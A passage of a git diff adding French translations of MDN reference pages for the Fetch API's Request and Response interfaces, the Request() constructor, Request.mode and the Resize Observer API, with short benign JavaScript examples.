+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Request.credentials")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/ServiceWorker_API">L'API ServiceWorker</a></li>
+ <li><a href="/fr/docs/Web/HTTP/Access_control_CORS">Contrôle d'accès HTTP avec les origines (CORS)</a></li>
+ <li><a href="/fr/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/fr/web/api/request/index.html b/files/fr/web/api/request/index.html
new file mode 100644
index 0000000000..c90b8278b0
--- /dev/null
+++ b/files/fr/web/api/request/index.html
@@ -0,0 +1,173 @@
+---
+title: Request
+slug: Web/API/Request
+tags:
+  - API
+  - Experimental
+  - Fetch
+  - Fetch API
+  - Interface
+  - Reference
+  - TopicStub
+  - request
+translation_of: Web/API/Request
+---
+<div>{{APIRef("Fetch API")}}</div>
+
+<p>L'interface <strong><code>Request</code></strong> de l'<a href="/en-US/docs/Web/API/Fetch_API">API Fetch</a> représente une demande de ressource.</p>
+
+<p>Vous pouvez créer un nouvel objet <code>Request</code> en utilisant le constructeur {{domxref("Request.Request","Request()")}}, mais vous êtes plus susceptible de rencontrer un objet <code>Request</code> renvoyé à la suite d'une autre opération d'API, telle en tant que service worker {{domxref("FetchEvent.request")}}.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("Request.Request","Request()")}}</dt>
+ <dd>Crée un nouvel objet <code>Request</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("Request.cache")}} {{readonlyInline}}</dt>
+ <dd>Contient le mode de cache de la demande (par exemple, <code>default</code>, <code>reload</code>, <code>no-cache</code>).</dd>
+ <dt>{{domxref("Request.context")}} {{readonlyInline}} {{deprecated_inline()}}</dt>
+ <dd>Contient le contexte de la demande (par exemple, <code>audio</code>, <code>image</code>, <code>iframe</code>, etc.)</dd>
+ <dt>{{domxref("Request.credentials")}} {{readonlyInline}}</dt>
+ <dd>Contient les informations d'identification de la demande (par exemple, <code>omit</code>, <code>same-origin</code>, <code>include</code>). La valeur par défaut est <code>same-origin</code>.</dd>
+ <dt>{{domxref("Request.destination")}} {{ReadOnlyInline}}</dt>
+ <dd>Renvoie une chaîne de l'énumération {{domxref("RequestDestination")}} décrivant la destination de la requête. Il s'agit d'une chaîne indiquant le type de contenu demandé.</dd>
+ <dt>{{domxref("Request.headers")}} {{readonlyInline}}</dt>
+ <dd>Contient l'objet {{domxref("Headers")}} associé de la requête.</dd>
+ <dt>{{domxref("Request.integrity")}} {{readonlyInline}}</dt>
+ <dd>Contient la valeur d'<a href="/en-US/docs/Web/Security/Subresource_Integrity">intégrité de la sous-ressource</a> de la demande (par exemple, <code>sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=</code>).</dd>
+ <dt>{{domxref("Request.method")}} {{readonlyInline}}</dt>
+ <dd>Contient la méthode de la requête (<code>GET</code>, <code>POST</code>, etc).</dd>
+ <dt>{{domxref("Request.mode")}} {{readonlyInline}}</dt>
+ <dd>Contient le mode de la demande (par exemple, <code>cors</code>, <code>no-cors</code>, <code>same-origin</code>, <code>navigate</code>.)</dd>
+ <dt>{{domxref("Request.redirect")}} {{readonlyinline}}</dt>
+ <dd>Contient le mode de gestion des redirections. Il peut s'agir d'un <code>follow</code>, <code>error</code>, ou d'un <code>manual</code>.</dd>
+ <dt>{{domxref("Request.referrer")}} {{readonlyInline}}</dt>
+ <dd>Contient le référent de la demande (par exemple, <code>client</code>).</dd>
+ <dt>{{domxref("Request.referrerPolicy")}} {{readonlyInline}}</dt>
+ <dd>Contient la politique de référent de la demande (par exemple, <code>no-referrer</code>).</dd>
+ <dt>{{domxref("Request.url")}} {{readonlyInline}}</dt>
+ <dd>Contient l'URL de la demande.</dd>
+</dl>
+
+<p><code>Request</code> implémente {{domxref("Body")}}, donc il hérite également des propriétés suivantes:</p>
+
+<dl>
+ <dt>{{domxref("Body.body", "body")}} {{readonlyInline}}</dt>
+ <dd>Un getter simple utilisé pour exposer un {{domxref("ReadableStream")}} du contenu du corps.</dd>
+ <dt>{{domxref("Body.bodyUsed", "bodyUsed")}} {{readonlyInline}}</dt>
+ <dd>Stocke un {{domxref("Boolean")}} qui déclare si le corps a déjà été utilisé dans une réponse.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("Request.clone()")}}</dt>
+ <dd>Crée une copie de l'objet <code>Request</code> actuel.</dd>
+</dl>
+
+<p><code>Request</code> implémente {{domxref("Body")}}, donc il dispose également des méthodes suivantes:</p>
+
+<dl>
+ <dt>{{domxref("Body.arrayBuffer()")}}</dt>
+ <dd>Renvoie une promesse qui se résout avec une représentation {{domxref("ArrayBuffer")}} du corps de la requête.</dd>
+ <dt>{{domxref("Body.blob()")}}</dt>
+ <dd>Renvoie une promesse qui se résout avec une représentation {{domxref("Blob")}} du corps de la requête.</dd>
+ <dt>{{domxref("Body.formData()")}}</dt>
+ <dd>Renvoie une promesse qui se résout avec une représentation {{domxref("FormData")}} du corps de la requếte.</dd>
+ <dt>{{domxref("Body.json()")}}</dt>
+ <dd>Renvoie une promesse qui se résout avec une représentation {{domxref("JSON")}} du corps de la requête.</dd>
+ <dt>{{domxref("Body.text()")}}</dt>
+ <dd>Renvoie une promesse qui se résout avec une représentation {{domxref("USVString")}} (texte) du coprs de la requête.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: Les fonctions {{domxref("Body")}} ne peuvent être exécutées qu'une seule fois; les appels suivants seront résolus avec des chaînes vides / ArrayBuffers.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'extrait de code suivant, nous créons une nouvelle requête à l'aide du constructeur <code>Request()</code> (pour un fichier image dans le même répertoire que le script), puis renvoyons certaines valeurs de propriété de la requête:</p>
+
+<pre class="brush: js notranslate">const request = new Request('https://www.mozilla.org/favicon.ico');
+
+const URL = request.url;
+const method = request.method;
+const credentials = request.credentials;
+</pre>
+
+<p>Vous pouvez ensuite récupérer cette requête en passant l'objet <code>Request</code> en tant que paramètre à un appel {{domxref("WindowOrWorkerGlobalScope.fetch()")}}, par exemple:</p>
+
+<pre class="brush: js notranslate">fetch(request)
+  .then(response =&gt; response.blob())
+  .then(blob =&gt; {
+    image.src = URL.createObjectURL(blob);
+  });</pre>
+
+<p>Dans l'extrait de code suivant, nous créons une nouvelle requête à l'aide du constructeur <code>Request()</code> avec des données initiales et du contenu du body pour une requête api qui nécessite une charge utile de body:</p>
+
+<pre class="brush: js notranslate">const request = new Request('https://example.com', {method: 'POST', body: '{"foo": "bar"}'});
+
+const URL = request.url;
+const method = request.method;
+const credentials = request.credentials;
+const bodyUsed = request.bodyUsed;
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> Le type de body ne peut être qu'un {{domxref("Blob")}}, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, {{domxref("USVString")}} ou {{domxref("ReadableStream")}} donc pour ajouter un objet JSON à la charge utile, vous devez stringify cet objet.</p>
+</div>
+
+<p>Vous pouvez ensuite récupérer cette demande d'API en passant l'objet <code>Request</code> en tant que paramètre à un appel {{domxref("WindowOrWorkerGlobalScope.fetch()")}}, par exemple et obtenir la réponse:</p>
+
+<pre class="brush: js notranslate">fetch(request)
+  .then(response =&gt; {
+    if (response.status === 200) {
+      return response.json();
+    } else {
+      throw new Error('Something went wrong on api server!');
+    }
+  })
+  .then(response =&gt; {
+    console.debug(response);
+    // ...
+  }).catch(error =&gt; {
+    console.error(error);
+  });</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Fetch','#request-class','Request')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Request")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/fr/web/api/request/mode/index.html b/files/fr/web/api/request/mode/index.html
new file mode 100644
index 0000000000..1e1c82d317
--- /dev/null
+++ b/files/fr/web/api/request/mode/index.html
@@ -0,0 +1,61 @@
+---
+title: Request.mode
+slug: Web/API/Request/mode
+translation_of: Web/API/Request/mode
+---
+<div>{{APIRef("Fetch")}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>mode</code></strong> (en lecture seule) de l’interface {{domxref("Request")}} contient le mode de la requête (e.g., <code>cors</code>, <code>no-cors</code>, <code>cors-with-forced-preflight</code>, <code>same-origin</code>, or <code>navigate</code>.) Ceci est utilisé pour déterminer si les requêtes différentes de l’origine (cross-origin) mèneront à des réponses valides, et quelles propriétés de la réponse seront lisibles:</p>
+
+<ul>
+ <li><code>same-origin</code> — Avec ce mode défini, si la requête est faite vers une autre origine, le résultat sera une erreur. Vous pouvez utiliser ceci afin de vous assurer que la requête sera toujours faites vers votre origine.</li>
+ <li><code>no-cors</code> — Prévient la méthode d’une utilisation autre que <code>HEAD</code>, <code>GET</code> ou <code>POST</code>. Si un ServiceWorkers interceptait ces requêtes, il ne pourrait pas ajouter ou réécrire ces en-têtes excepté pour <a href="https://fetch.spec.whatwg.org/#simple-header">ceci</a>. De plus, JavaScript ne peut accéder à aucune propriété de la {{domxref("Response")}}. Cela vous assure que les ServiceWorkers n’affecteront pas la sémantique du Web et prévient pour des raisons de sécurité et de confidentialité pouvant mener à la fuite de données à travers les domaines.</li>
+ <li><code>cors</code> — Permet les requêtes cross-origin pour, par exemple, accéder à diverses APIs fournies par de tierces parties. Ces derniers sont censés adhérer au <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS">protocole CORS</a>. Seul un <a href="https://fetch.spec.whatwg.org/#concept-filtered-response-cors">jeu limité</a> d’en-têtes est exposé dans la {{domxref("Response")}}, mais le corps (body) est lisible.</li>
+ <li><code>navigate</code> — Un mode pour supporter la navigation. La valeur <code>navigate</code> est destinée à être utilisée seulement par la navigation HTML. Une requête navigate est créée seulement lorsqu’on navigue entre des documents.</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <var>myMode</var> = <var>request</var>.mode;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une valeur {{domxref("RequestMode")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans le bout de code suivant, nous créons une nouvelle requête en utilisant le constructeur {{domxref("Request.Request()")}}  (pour une image située dans le même répertoire que le script), puis on stocke le mode de la requête dans une variable:</p>
+
+<pre class="brush: js">var myRequest = new Request('flowers.jpg');
+var myMode = myRequest.mode; // returns "cors" by default</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-request-mode', 'mode')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Request.mode")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">L'API ServiceWorker</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/fr/web/api/request/request/index.html b/files/fr/web/api/request/request/index.html
new file mode 100644
index 0000000000..1eca86dcda
--- /dev/null
+++ b/files/fr/web/api/request/request/index.html
@@ -0,0 +1,160 @@
+---
+title: Request()
+slug: Web/API/Request/Request
+tags:
+  - API
+  - Constructeur
+  - Experimental
+  - Fetch
+  - Reference
+  - request
+translation_of: Web/API/Request/Request
+---
+<div>{{APIRef("Fetch API")}}</div>
+
+<p>Le constructeur <code><strong>Request()</strong></code> crée un nouvel objet {{domxref("Request")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var maRequete = new Request(entree[, init]);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>entree</em></dt>
+ <dd>Définit la ressource que vous souhaitez récupérer. Cela peut être soit :
+ <ul>
+  <li>Une {{domxref("USVString")}} contenant l'URL directe de la ressource que vous voulez récupérer.</li>
+  <li>Un objet {{domxref("Request")}}, ce qui crée en fait une copie. Notez les mises à jour de comportement suivantes pour conserver la sécurité, tout en rendant le constructeur moins susceptible de déclencher des exceptions :
+   <ul>
+    <li>Si cet objet existe depuis une autre origine lors de l'appel du constructeur, le {{domxref("Request.referrer")}} est enlevé.</li>
+    <li>Si cet objet a un {{domxref("Request.mode")}} à <code>navigate</code>, la valeur de <code>mode</code> est convertie en <code>same-origin</code>.</li>
+   </ul>
+  </li>
+ </ul>
+ </dd>
+ <dt><em>init</em> {{optional_inline}}</dt>
+ <dd>Un objet d'options contenant tous les paramètres personnalisés que vous voulez appliquer à la requête. Les options possibles sont :
+ <ul>
+  <li><code>method</code>: La méthode de la requête, par ex., <code>GET</code>, <code>POST</code>.</li>
+  <li><code>headers</code>: Tous les entêtes que vous voulez ajouter à votre requête, contenus dans un objet {{domxref("Headers")}} ou un littéral d'objet avec des valeurs {{domxref("ByteString")}}.</li>
+  <li><code>body</code>: Tout corps que vous voulez ajouter à votre requête : cela peut être un objet {{domxref ("Blob")}}, {{domxref ("BufferSource")}}, {{domxref ("FormData")}}, {{domxref ("URLSearchParams")}}, {{domxref ("USVString")}} ou {{domxref ("ReadableStream")}}. Notez qu'une requête utilisant la méthode GET ou HEAD ne peut pas avoir de corps .</li>
+  <li><code>mode</code>: Le mode que vous souhaitez utiliser pour la requête, par exemple, <code>cors</code>, <code>no-cors</code>, <code>same-origin</code>, ou <code>navigate</code>. La valeur par défaut est <code>cors</code>. Dans Chrome, la valeur par défaut est <code>no-cors</code> avant Chrome 47 et <code>same-origin</code> à partir de Chrome 47.</li>
+  <li><code>credentials</code>: Les informations d'authentification de requête que vous souhaitez utiliser pour la requête : <code>omit</code>, <code>same-origin</code>, ou <code>include</code>. La valeur par défaut est <code>omit</code>. Dans Chrome, la valeur par défaut est <code>same-origin</code> avant Chrome 47 et <code>include</code> à partir de Chrome 47.</li>
+  <li><code>cache</code>: Le <a href="/en-US/docs/Web/API/Request/cache">mode de cache</a> que vous voulez utiliser pour la requête.</li>
+  <li><code>redirect</code>: Le mode de redirection à utiliser : <code>follow</code>, <code>error</code>, ou <code>manual</code>. Dans Chrome, le défaut est <code>manual</code> avant Chrome 47 et <code>follow</code> à partir de Chrome 47.</li>
+  <li><code>referrer</code>: Une {{domxref("USVString")}} indiquant <code>no-referrer</code>, <code>client</code>, ou une URL. La valeur par défaut est <code>client</code>.</li>
+  <li><code>integrity</code>: Contient la valeur d'<a href="/en-US/docs/Web/Security/Subresource_Integrity">intégrité de la sous ressource</a> de la requête (par ex.., <code>sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=</code>).</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Erreurs">Erreurs</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><strong>Type</strong></th>
+   <th scope="col"><strong>Description</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td>Depuis <a href="/en-US/docs/Mozilla/Firefox/Releases/43">Firefox 43</a>, <code>Request()</code> déclenchera une TypeError si l'URL contient des informations d'authentification, comme dans http://user:password@example.com.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans notre <a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-request">exemple de Fetch Request</a> (voir <a href="http://mdn.github.io/fetch-examples/fetch-request/">Fetch Request en direct</a>), nous créons un nouvel objet <code>Request</code> en utilisant le constructeur, puis nous le récupérons en utilisant un appel à {{domxref ("GlobalFetch.fetch")}}. Puisque nous récupérons une image, nous lançons {{domxref ("Body.blob")}} sur la réponse pour lui donner le bon type MIME afin qu'il soit géré correctement, puis nous en créons une</p>
+
+<p>Object URL et nous l'affichons dans un élément {{htmlelement ("img")}}.</p>
+
+<pre class="brush: js">var monImage = document.querySelector('img');
+
+var maRequete = new Request('fleurs.jpg');
+
+fetch(maRequete).then(function(reponse) {
+  return reponse.blob();
+}).then(function(reponse) {
+  var URLdobjet = URL.createObjectURL(reponse);
+  monImage.src = URLdobjet;
+});</pre>
+
+<p>Dans notre <a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-request-with-init">exemple de Fetch Request avec init</a> (see <a href="http://mdn.github.io/fetch-examples/fetch-request-with-init/">Fetch Request init en direct</a>), nous faisons la même chose, excepté que nous passons un objet init quand nous invoquons <code>fetch()</code>:</p>
+
+<pre class="brush: js">var monImage = document.querySelector('img');
+
+var mesEntetes = new Headers();
+mesEntetes.append('Content-Type', 'image/jpeg');
+
+var monInit = { method: 'GET',
+               headers: mesEntetes,
+               mode: 'cors',
+               cache: 'default' };
+
+var maRequete = new Request('fleurs.jpg',monInit);
+
+fetch(maRequete).then(function(reponse) {
+  ...
+});</pre>
+
+<p>Notez que vos pouvez aussi passer l'objet init dans l'appel à <code>fetch</code> pour obtenir le même résultat, par ex. :</p>
+
+<pre class="brush: js">fetch(maRequete,monInit).then(function(reponse) {
+  ...
+});</pre>
+
+<p>Vous pouvez aussi utilier un littéral d'objet tel que <code>headers</code> dans <code>init</code>.</p>
+
+<pre class="brush: js">var monInit = { method: 'GET',
+               headers: {
+                   'Content-Type': 'image/jpeg'
+               },
+               mode: 'cors',
+               cache: 'default' };
+
+var maRequete = new Request('fleurs.jpg', monInit);
+</pre>
+
+<p>Vous pouvez aussi passer un objet {{domxref("Request")}} au constructeur <code>Request()</code> pour créer une copie de la Request (c'est similaire au fait d'appeler la méthode {{domxref("Request.clone","clone()")}}).</p>
+
+<div class="codehilite" style="background: #f0f3f3;">
+<pre style="line-height: 125%;">var copie = new Request(maRequete);
+</pre>
+</div>
+
+<div class="note">
+<p><strong>Note</strong> : Cette dernière utilisation n'est probablement utile que dans <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorkers</a>.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-request','Request()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Request.Request")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">L'API ServiceWorker</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">Le contrôle d'accès HTTP (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/fr/web/api/resize_observer_api/index.html b/files/fr/web/api/resize_observer_api/index.html
new file mode 100644
index 0000000000..e7dc99f213
--- /dev/null
+++ b/files/fr/web/api/resize_observer_api/index.html
@@ -0,0 +1,95 @@
+---
+title: Resize Observer API
+slug: Web/API/Resize_Observer_API
+tags:
+  - API
+  - Draft
+  - Element
+  - Monitor
+  - Overview
+  - Reference
+  - Resize Observer
+  - Resize Observer API
+  - observe
+translation_of: Web/API/Resize_Observer_API
+---
+<p>{{DefaultAPISidebar("Resize Observer API")}}</p>
+
+<p>L'API Resize Observer fournit un mécanisme performant par lequel du code peut surveiller les changements de dimensions d'un élément et un observateur recevoir des notifications chaque fois que les dimensions changent.</p>
+
+<h2 id="Concepts_et_utilisation">Concepts et utilisation</h2>
+
+<p>Il y a une multitude de cas d'utilisation pour des techniques de <em>responsive design</em> (et d'autres par ailleurs) qui répondent à des changements de dimensions d'un élément mais, avant, leur implantation était souvent amateures et parfois imparfaites.</p>
+
+<p>Par exemple, les <a href="/en-US/docs/Web/CSS/Media_Queries">media queries</a> / {{domxref("window.matchMedia")}} sont un bon outil pour mettre à jour une mise en page à des points spécifiques quand la zone d'affichage change de dimensions, mais qu'en est-il si vous désirez changer la mise en page en réponse à un changement spécifique des dimensions d'un élément qui n'est pas le conteneur principal ?</p>
+
+<p>Pour réaliser ceci, une solution limitée serait d'écouter les changements sur un type d'événement qui convienne à résoudre le problème et qui corresponde à l'élément dont les changements de dimensions vous intéresse (c'est-à-dire l'<a href="/en-US/docs/Web/API/Window/resize_event">événement resize</a> sur window), puis de calculer les nouvelles dimensions ou autres propriétés de l'élément après un redimensionnement au moyen de {{domxref("Element.getBoundingClientRect")}} ou de {{domxref("Window.getComputedStyle")}}, par exemple.</p>
+
+<p>Une telle solution tend à ne fonctionner que pour des cas d'utilisation limités, causer des soucis de performance (continuellement appeler les méthodes évoquées ci-avant résulterait en une grosse baisse de performance), et souvent ne fonctionnera quand les dimensions de la fenêtre du navigateur ne sont pas changées.</p>
+
+<p>L'API Resize Observer fournit une solution adaptée à résoudre exactement ces types de problèmes, et plus encore, en vous permettant d'observer aisément et de répondre à des changements dans les dimensions du content-box ou du border box d'un élément, et ce d'une manière performante. Elle fournit une solution en JavaScript au manque souvent dénoncé de <a href="https://www.xanthir.com/b4PR0">requêtes sur les éléments</a> sur la plate-forme web.</p>
+
+<p>Son utilisation est simple et presque identique aux autres observateurs tels que le <a href="/en-US/docs/Web/API/PerformanceObserver">Performance Observer</a> ou l'<a href="/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer</a>. Il vous faut créer un nouvel objet {{domxref("ResizeObserver")}} en utilisant le constructeur <code><a href="/en-US/docs/Web/API/ResizeObserver/ResizeObserver">ResizeObserver()</a></code>, puis utiliser {{domxref("ResizeObserver.observe()")}} pour le faire observer les changements de dimensions d'un élément spécifiques. Une fonction de rappel fournise au constructeur sera exécutée à chaque fois que les dimensions changent, fournissant un accès aux nouvelles dimensions et vous permettant de faire tous ce que vous souhaitez faire en réponse à ces changements.</p>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("ResizeObserver")}}</dt>
+ <dd>fournit la possibilité d'enregistrer de nouveaux observateurs et de démarrer ou d'arrêter d'observer des éléments.</dd>
+ <dt>{{domxref("ResizeObserverEntry")}}</dt>
+ <dd>Décrit un unique élément qui a été redimensionné, identifiant l'élément et ses nouvelles dimensions.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Vous trouverez plusieurs exemples basiques sur notre dépôt GitHub :</p>
+
+<ul>
+ <li><a href="https://mdn.github.io/dom-examples/resize-observer/resize-observer-border-radius.html">resize-observer-border-radius.html</a> (<a href="https://github.com/mdn/dom-examples/blob/master/resize-observer/resize-observer-border-radius.html">voir la source</a>): Un exemple simple avec une boîte verte, dont les dimensions sont proportionnelles à celles de la fenêtre du navigateur. Quand les dimensions de la fenêtre changent, l'arrondissement des angles du carré changent en proportion à la taille du carré. Nous pourrions seulement implanter celà en utilisant {{cssxref("border-radius")}} avec une valeur en pourcentage, mais celà mène vite à des angles elliptiques non esthétiques, tandis que la solution ci-avant vous donne un carré aux angles agréables qui s'adaptent à la taille du carré.</li>
+ <li><a href="https://mdn.github.io/dom-examples/resize-observer/resize-observer-text.html">resize-observer-text.html</a> (<a href="https://github.com/mdn/dom-examples/blob/master/resize-observer/resize-observer-text.html">voir la source</a>): Ici, nous utilisations l'observateur de redimensionnement pour changer la {{cssxref("font-size")}} d'un en-tête et d'un paragraphe quand la <code>&lt;div&gt;</code> extérieure change de taille selon la valeur d'une jauge de sélection. Celà montre que vous pouvez répondre à des changement de dimensions d'un élément même s'ils n'ont rien en rapport avec la fenêtre du navigateur.</li>
+</ul>
+
+<p>Le code suivra usuellement ce genre de modèle (tiré de resize-observer-border-radius.html):</p>
+
+<pre class="brush: js notranslate">const resizeObserver = new ResizeObserver(entries =&gt; {
+  for (let entry of entries) {
+    if(entry.contentBoxSize) {
+      entry.target.style.borderRadius = Math.min(100, (entry.contentBoxSize.inlineSize/10) +
+                                                      (entry.contentBoxSize.blockSize/10)) + 'px';
+    } else {
+      entry.target.style.borderRadius = Math.min(100, (entry.contentRect.width/10) +
+                                                      (entry.contentRect.height/10)) + 'px';
+    }
+  }
+});
+
+resizeObserver.observe(document.querySelector('div'));</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Resize Observer')}}</td>
+   <td>{{Spec2('Resize Observer')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.ResizeObserver")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developers.google.com/web/updates/2016/10/resizeobserver">ResizeObserver: It’s Like document.onresize for Elements</a></li>
+</ul>
diff --git a/files/fr/web/api/response/index.html b/files/fr/web/api/response/index.html
new file mode 100644
index 0000000000..8721ef0493
--- /dev/null
+++ b/files/fr/web/api/response/index.html
@@ -0,0 +1,224 @@
+---
+title: Response
+slug: Web/API/Response
+tags:
+  - API
+  - Experimental
+  - Fetch
+  - Fetch API
+  - Interface
+  - Reference
+  - Response
+translation_of: Web/API/Response
+---
+<div>{{APIRef("Fetch API")}}</div>
+
+<p>L'interface <strong><code>Response</code></strong> de l'API de <a href="/en-US/docs/Web/API/Fetch_API">fetch</a> représente la réponse d'une requête initialisée.</p>
+
+<p>Vous pouvez créer un nouvel objet <code>Response</code> en utilisant le constructeur {{domxref("Response.Response()")}}. Cependant, vous rencontrerez plus fréquemment l'objet Response comme étant le résultat d'une opération de l'API, par exemple, un service worker {{domxref("Fetchevent.respondWith")}}, ou un simple {{domxref("GlobalFetch.fetch()")}}.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("Response.Response","Response()")}}</dt>
+ <dd>Crée un nouvel objet <code>Response</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("Response.headers")}} {{readonlyinline}}</dt>
+ <dd>Contient les objets {{domxref("Headers")}} associés à la réponse.</dd>
+ <dt>{{domxref("Response.ok")}} {{readonlyinline}}</dt>
+ <dd>Contient un booléen statuant s'il s'agit d'une réponse indiquant un succès (statut HTTP entre 200 et 299) ou non.</dd>
+ <dt>{{domxref("Response.redirected")}} {{ReadOnlyInline}}</dt>
+ <dd>Indique si oui ou non la réponse est le résultat d'une (ou plusieurs) redirection(s), c'est-à-dire que sa liste d'URLs a plus d'une entrée.</dd>
+ <dt>{{domxref("Response.status")}} {{readonlyinline}}</dt>
+ <dd>Contient le status code de la réponse (par exemple <code>200</code> en cas de réussite).</dd>
+ <dt>{{domxref("Response.statusText")}} {{readonlyinline}}</dt>
+ <dd>Contient le message du statut correspondant au status code (à savoir : <code>OK</code> pour le code <code>200</code> par exemple).</dd>
+ <dt>{{domxref("Response.type")}} {{readonlyinline}}</dt>
+ <dd>Contient le type de la réponse (par exemple, <code>basic</code>, <code>cors</code>).</dd>
+ <dt>{{domxref("Response.url")}} {{readonlyinline}}</dt>
+ <dd>Contient l'URL de la réponse.</dd>
+ <dt>{{domxref("Response.useFinalURL")}}</dt>
+ <dd>Contient un booléen statuant s'il s'agit de l'URL finale de la réponse.</dd>
+</dl>
+
+<p>Par ailleurs, <code>Response</code> implémente également une propriété {{domxref("Body")}}, voici les propriétés qui lui sont propres :</p>
+
+<dl>
+ <dt>{{domxref("Body.body")}} {{readonlyInline}}</dt>
+ <dd>Un simple getter utilisé afin d'exposer un {{domxref("ReadableStream")}} permettant de lire le contenu du body.</dd>
+ <dt>{{domxref("Body.bodyUsed")}} {{readonlyInline}}</dt>
+ <dd>Stocke un {{domxref("Boolean")}} qui indique si le body a déjà été utilisé dans la réponse ou non.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("Response.clone()")}}</dt>
